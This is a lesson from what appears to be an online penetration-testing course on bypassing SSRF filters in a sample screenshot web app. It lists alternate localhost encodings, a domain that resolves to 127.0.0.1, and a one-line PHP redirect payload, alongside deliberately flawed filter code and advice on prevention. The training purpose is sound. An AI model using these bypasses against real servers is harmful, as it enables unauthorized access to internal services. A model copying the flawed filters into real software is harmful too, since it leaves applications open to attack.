Modern Web Exploitation Techniques
SSRF Basic Filter Bypasses
Server-Side Request Forgery (SSRF) vulnerabilities occur when an attacker can coerce the server to fetch remote resources using HTTP requests; this might allow an attacker to identify and enumerate services running on the local network of the web server, which an external attacker would generally be unable to access due to a firewall blocking access. For more details on SSRF, check out the Server-side Attacks module.
Confirming SSRF
Let us consider the following vulnerable web application to illustrate how a developer might address SSRF vulnerabilities. Since this is just a quick recap of SSRF vulnerabilities, we will not go over the steps of Whitebox penetration testing in detail.
Code Review - Identifying the Vulnerability
Our sample web application allows us to take screenshots of websites we provide URLs for:
Let's look at the source code to determine how this is implemented. The web application contains two endpoints. The first one handles taking screenshots, while the second endpoint responds with a debug page and is only accessible from localhost:
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
try:
screenshot = screenshot_url(request.form.get('url'))
except Exception as e:
return f'Error: {e}', 400
# b64 encode image
image = Image.open(screenshot)
buffered = BytesIO()
image.save(buffered, format="PNG")
img_data = base64.b64encode(buffered.getvalue())
return render_template('index.html', screenshot=img_data.decode('utf-8'))
@app.route('/debug')
def debug():
if request.remote_addr != '127.0.0.1':
return 'Unauthorized!', 401
return render_template('debug.html')
Since our target is to obtain unauthorized access to the debug page, we need to bypass the check in the /debug endpoint. However, we cannot manipulate the request.remote_addr variable since this is the IP address the request originates from (i.e., our external IP address). We are thus unable to access the debug endpoint directly.
Let us have a look at how the web application implements taking screenshots in the screenshot_url function:
def take_screenshot(url, filename=f'./screen_{os.urandom(8).hex()}.png'):
driver = webdriver.Chrome(options=chrome_options)
driver.get(url)
driver.save_screenshot(filename)
driver.quit()
return filename
def screenshot_url(url):
scheme = urlparse(url).scheme
domain = urlparse(url).hostname
if not domain or not scheme:
raise Exception('Malformed URL')
if scheme not in ['http', 'https']:
raise Exception('Invalid scheme')
return take_screenshot(url)
The web application performs a few basic checks, including the scheme of the URL such that we are unable to provide the file scheme to read local files. Afterward, the provided URL is opened in a headless Chrome, and a screenshot of the website is taken and displayed to us.
Exploitation
Since the web application only restricts us to the http and https schemes but does not restrict the domain or IP address we can provide, we can simply provide a URL pointing to the /debug endpoint in the web application itself. The web application will then visit its own debug endpoint such that the request originates from 127.0.0.1. Therefore, access is granted, and the screenshot taken contains the debug page:
SSRF Basic Filter Bypasses
We will first discuss a few flawed SSRF filters that we can bypass using simple methods before doing so with DNS rebinding.
Obfuscation of localhost
The first and simplest SSRF filter is a one that explicitly blocks certain domains such as localhost or 127.0.0.1. Let us have a look at an implementation of such a filter. Assume the function screenshot_url was "improved" with the function check_domain, as follows:
def screenshot_url(url):
scheme = urlparse(url).scheme
domain = urlparse(url).hostname
if not domain or not scheme:
raise Exception('Malformed URL')
if scheme not in ['http', 'https']:
raise Exception('Invalid scheme')
if not check_domain(domain):
raise Exception('URL not allowed')
return take_screenshot(url)
def check_domain(domain):
if 'localhost' in domain:
return False
if domain == '127.0.0.1':
return False
return True
check_domain blocks all domains containing the word localhost and 127.0.0.1. However, many other ways exist to represent an IP address that points to the local machine. Here are a few examples:
- Localhost Address Block:
127.0.0.0 - 127.255.255.255 - Shortened IP Adress:
127.1 - Prolonged IP Address:
127.000000000000000.1 - All Zeroes:
0.0.0.0 - Shortened All Zeroes:
0 - Decimal Representation:
2130706433 - Octal Representation:
0177.0000.0000.0001 - Hex Representation:
0x7f000001 - IPv6 loopback address:
0:0:0:0:0:0:0:1(also::1) - IPv4-mapped IPv6 loopback address:
::ffff:127.0.0.1
Any of these enable us to bypass the filter successfully:
Bypass via DNS Resolution
As a second example, let us have a look at the following improved check_domain function:
def check_domain(domain):
if 'localhost' in domain:
return False
try:
# parse IP
ip = ipaddress.ip_address(domain)
# check internal IP address space
if ip in ipaddress.ip_network('127.0.0.0/8'):
return False
if ip in ipaddress.ip_network('10.0.0.0/8'):
return False
if ip in ipaddress.ip_network('172.16.0.0/12'):
return False
if ip in ipaddress.ip_network('192.168.0.0/16'):
return False
if ip in ipaddress.ip_network('0.0.0.0/8'):
return False
except:
pass
return True
This time, the filter parses any IP address we provide and blocks it if it is within any private address range. However, any domain name we pass is fine if it does not contain the blacklisted word localhost, enabling us to pass any domain that resolves to an internal IP address.
We can register a domain and point it to any internal IP address; however, we can abuse some already existing ones, such as localtest.me, which resolves to 127.0.0.1:
[!bash!]$ nslookup localtest.me
Server: 1.1.1.1
Address: 1.1.1.1#53
Non-authoritative answer:
Name: localtest.me
Address: 127.0.0.1
Name: localtest.me
Address: ::1
Passing this domain allows us to bypass the filter:
Bypass via HTTP Redirect
The web application can resolve domain names provided by the user and check whether they are private IPs to fix the bypass via DNS resolution. Let us look at the following improved check_domain function:
def check_domain(domain):
try:
# resolve domain
ip = socket.gethostbyname(domain)
# parse IP
ip = ipaddress.ip_address(ip)
# check internal IP address space
if ip in ipaddress.ip_network('127.0.0.0/8'):
return False
if ip in ipaddress.ip_network('10.0.0.0/8'):
return False
if ip in ipaddress.ip_network('172.16.0.0/12'):
return False
if ip in ipaddress.ip_network('192.168.0.0/16'):
return False
if ip in ipaddress.ip_network('0.0.0.0/8'):
return False
return True
except:
pass
return False
In addition to resolving the domain name, the improved filter returns False by default and only returns True if no exception was raised. However, the filter does not account for HTTP redirects which the headless Chrome browser will follow. Thus, we can bypass the filter by providing a URL pointing to a web server under our control, redirecting the web application to the local debug endpoint. To do so, we can host the following PHP code on our web server:
<?php header('Location: http://127.0.0.1/debug'); ?>
We can host the file using the built-in PHP web server:
[!bash!]$ php -S 0.0.0.0:80
[Sun Aug 13 10:55:35 2023] PHP 7.4.33 Development Server (http://0.0.0.0:80) started
We can then bypass the filter by providing a URL pointing to the PHP code hosted on our web server:
Preventing this is not a simple task. In the debug endpoint, it is impossible to distinguish a redirected request from a direct request. Blocking redirects completely might impact the user experience since benign web applications also use redirects. Furthermore, it is insufficient to block all HTTP redirects, as there are other ways to force a redirect, such as JavaScript and using meta tags. These cases need to be handled separately, for instance, by disabling JavaScript in the headless Chrome browser, downloading the HTML response first, and stripping meta tags that cause redirects before rendering the downloaded HTML file in the headless Chrome browser.
This demonstrates well why we should never implement security controls on our own. Due to the increased complexity and many edge cases, removing SSRF vulnerabilities entirely is challenging. Even if we successfully manage to prevent all forms of redirects, the filter can still be bypassed using DNS rebinding, as we will discuss in the upcoming section.
The simplest and safest way to prevent the SSRF vulnerability is via firewall rules. The system running Webshot (the sample web application) should be separated from the internal web application hosting the debug endpoint. Then, we can implement firewall rules to prevent incoming connections from the Webshot system to the internal web application to prevent SSRF vulnerabilities.
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
Table of Contents
Introduction to Modern Web Exploitation Techniques
Introduction to Modern Web Exploitation TechniquesDNS Rebinding
Introduction to DNS Rebinding SSRF Basic Filter Bypasses DNS Rebinding: SSRF Filter Bypass DNS Rebinding: Same-Origin Policy Bypass DNS Rebinding: Tools & PreventionSecond-Order Attacks
Introduction to Second-Order Attacks Second-Order IDOR (Whitebox) Second-Order IDOR (Blackbox) Second-Order LFI Second-Order Command InjectionWebSocket Attacks
Introduction to WebSockets WebSocket Analysis in Burp Exploiting XSS via WebSockets Exploiting SQLi via WebSockets Cross-Site WebSocket Hijacking (CSWH) WebSocket Attacks: Tools & PreventionSkills Assessment
Skills AssessmentMy Workstation
OFFLINE
/ 1 spawns left